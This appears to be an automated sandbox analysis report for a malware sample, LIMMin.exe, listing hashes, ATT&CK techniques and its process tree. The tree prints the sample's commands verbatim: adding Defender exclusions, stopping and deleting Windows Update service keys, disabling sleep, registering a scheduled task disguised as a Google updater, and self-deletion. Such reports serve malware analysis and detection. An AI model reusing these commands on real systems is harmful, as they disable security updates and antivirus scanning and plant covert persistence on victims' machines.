d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
138s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2023 12:25

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General

Target

LIMMin.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

LIMMin.exe

description	pid	Process	procid_target
PID 3228 created 3160	3228	LIMMin.exe	49
PID 3228 created 3160	3228	LIMMin.exe	49
PID 3228 created 3160	3228	LIMMin.exe	49
PID 3228 created 3160	3228	LIMMin.exe	49
PID 3228 created 3160	3228	LIMMin.exe	49

Drops file in Drivers directory 1 IoCs

Processes:

LIMMin.exe

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMin.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid	Process
2924	sc.exe
4392	sc.exe
4692	sc.exe
3860	sc.exe
952	sc.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

LIMMin.exepowershell.exepowershell.exe

pid	Process
3228	LIMMin.exe
3228	LIMMin.exe
2668	powershell.exe
2668	powershell.exe
3228	LIMMin.exe
3228	LIMMin.exe
3228	LIMMin.exe
3228	LIMMin.exe
3228	LIMMin.exe
3228	LIMMin.exe
4572	powershell.exe
4572	powershell.exe
3228	LIMMin.exe
3228	LIMMin.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeShutdownPrivilege	1152	powercfg.exe
Token: SeCreatePagefilePrivilege	1152	powercfg.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeShutdownPrivilege	5084	powercfg.exe
Token: SeCreatePagefilePrivilege	5084	powercfg.exe
Token: SeShutdownPrivilege	4724	powercfg.exe
Token: SeCreatePagefilePrivilege	4724	powercfg.exe
Token: SeShutdownPrivilege	2344	powercfg.exe
Token: SeCreatePagefilePrivilege	2344	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4572	powershell.exe
Token: SeSecurityPrivilege	4572	powershell.exe
Token: SeTakeOwnershipPrivilege	4572	powershell.exe
Token: SeLoadDriverPrivilege	4572	powershell.exe
Token: SeSystemProfilePrivilege	4572	powershell.exe
Token: SeSystemtimePrivilege	4572	powershell.exe
Token: SeProfSingleProcessPrivilege	4572	powershell.exe
Token: SeIncBasePriorityPrivilege	4572	powershell.exe
Token: SeCreatePagefilePrivilege	4572	powershell.exe
Token: SeBackupPrivilege	4572	powershell.exe
Token: SeRestorePrivilege	4572	powershell.exe
Token: SeShutdownPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeSystemEnvironmentPrivilege	4572	powershell.exe
Token: SeRemoteShutdownPrivilege	4572	powershell.exe
Token: SeUndockPrivilege	4572	powershell.exe
Token: SeManageVolumePrivilege	4572	powershell.exe
Token: 33	4572	powershell.exe
Token: 34	4572	powershell.exe
Token: 35	4572	powershell.exe
Token: 36	4572	powershell.exe
Token: SeIncreaseQuotaPrivilege	4572	powershell.exe
Token: SeSecurityPrivilege	4572	powershell.exe
Token: SeTakeOwnershipPrivilege	4572	powershell.exe
Token: SeLoadDriverPrivilege	4572	powershell.exe
Token: SeSystemProfilePrivilege	4572	powershell.exe
Token: SeSystemtimePrivilege	4572	powershell.exe
Token: SeProfSingleProcessPrivilege	4572	powershell.exe
Token: SeIncBasePriorityPrivilege	4572	powershell.exe
Token: SeCreatePagefilePrivilege	4572	powershell.exe
Token: SeBackupPrivilege	4572	powershell.exe
Token: SeRestorePrivilege	4572	powershell.exe
Token: SeShutdownPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeSystemEnvironmentPrivilege	4572	powershell.exe
Token: SeRemoteShutdownPrivilege	4572	powershell.exe
Token: SeUndockPrivilege	4572	powershell.exe
Token: SeManageVolumePrivilege	4572	powershell.exe
Token: 33	4572	powershell.exe
Token: 34	4572	powershell.exe
Token: 35	4572	powershell.exe
Token: 36	4572	powershell.exe
Token: SeIncreaseQuotaPrivilege	4572	powershell.exe
Token: SeSecurityPrivilege	4572	powershell.exe
Token: SeTakeOwnershipPrivilege	4572	powershell.exe
Token: SeLoadDriverPrivilege	4572	powershell.exe
Token: SeSystemProfilePrivilege	4572	powershell.exe
Token: SeSystemtimePrivilege	4572	powershell.exe
Token: SeProfSingleProcessPrivilege	4572	powershell.exe
Token: SeIncBasePriorityPrivilege	4572	powershell.exe
Token: SeCreatePagefilePrivilege	4572	powershell.exe
Token: SeBackupPrivilege	4572	powershell.exe
Token: SeRestorePrivilege	4572	powershell.exe
Token: SeShutdownPrivilege	4572	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

cmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 2672 wrote to memory of 2924	2672	cmd.exe	98
PID 2672 wrote to memory of 2924	2672	cmd.exe	98
PID 1040 wrote to memory of 1152	1040	cmd.exe	97
PID 1040 wrote to memory of 1152	1040	cmd.exe	97
PID 1040 wrote to memory of 5084	1040	cmd.exe	99
PID 1040 wrote to memory of 5084	1040	cmd.exe	99
PID 2672 wrote to memory of 4392	2672	cmd.exe	100
PID 2672 wrote to memory of 4392	2672	cmd.exe	100
PID 1040 wrote to memory of 4724	1040	cmd.exe	102
PID 1040 wrote to memory of 4724	1040	cmd.exe	102
PID 2672 wrote to memory of 4692	2672	cmd.exe	101
PID 2672 wrote to memory of 4692	2672	cmd.exe	101
PID 1040 wrote to memory of 2344	1040	cmd.exe	103
PID 1040 wrote to memory of 2344	1040	cmd.exe	103
PID 2672 wrote to memory of 3860	2672	cmd.exe	104
PID 2672 wrote to memory of 3860	2672	cmd.exe	104
PID 2672 wrote to memory of 952	2672	cmd.exe	105
PID 2672 wrote to memory of 952	2672	cmd.exe	105
PID 2672 wrote to memory of 1752	2672	cmd.exe	106
PID 2672 wrote to memory of 1752	2672	cmd.exe	106
PID 2672 wrote to memory of 4524	2672	cmd.exe	107
PID 2672 wrote to memory of 4524	2672	cmd.exe	107
PID 2672 wrote to memory of 4428	2672	cmd.exe	108
PID 2672 wrote to memory of 4428	2672	cmd.exe	108
PID 2672 wrote to memory of 3132	2672	cmd.exe	109
PID 2672 wrote to memory of 3132	2672	cmd.exe	109
PID 2672 wrote to memory of 4312	2672	cmd.exe	110
PID 2672 wrote to memory of 4312	2672	cmd.exe	110
PID 1612 wrote to memory of 3316	1612	cmd.exe	113
PID 1612 wrote to memory of 3316	1612	cmd.exe	113

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3160
- C:\Users\Admin\AppData\Local\Temp\LIMMin.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2924
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4392
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4692
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3860
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:952
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1752
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4524
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4428
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3132
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4312
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4724
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4572
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3316

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqw0fa4i.eeu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2668-133-0x0000024B63A80000-0x0000024B63AA2000-memory.dmp

Filesize
136KB

Download
memory/3228-162-0x00007FF624550000-0x00007FF6248EA000-memory.dmp

Filesize
3.6MB

Download
memory/4572-156-0x000001DB4DB80000-0x000001DB4DB90000-memory.dmp

Filesize
64KB

Download
memory/4572-157-0x000001DB4DB80000-0x000001DB4DB90000-memory.dmp

Filesize
64KB

Download
memory/4572-159-0x000001DB4DB80000-0x000001DB4DB90000-memory.dmp

Filesize
64KB

Download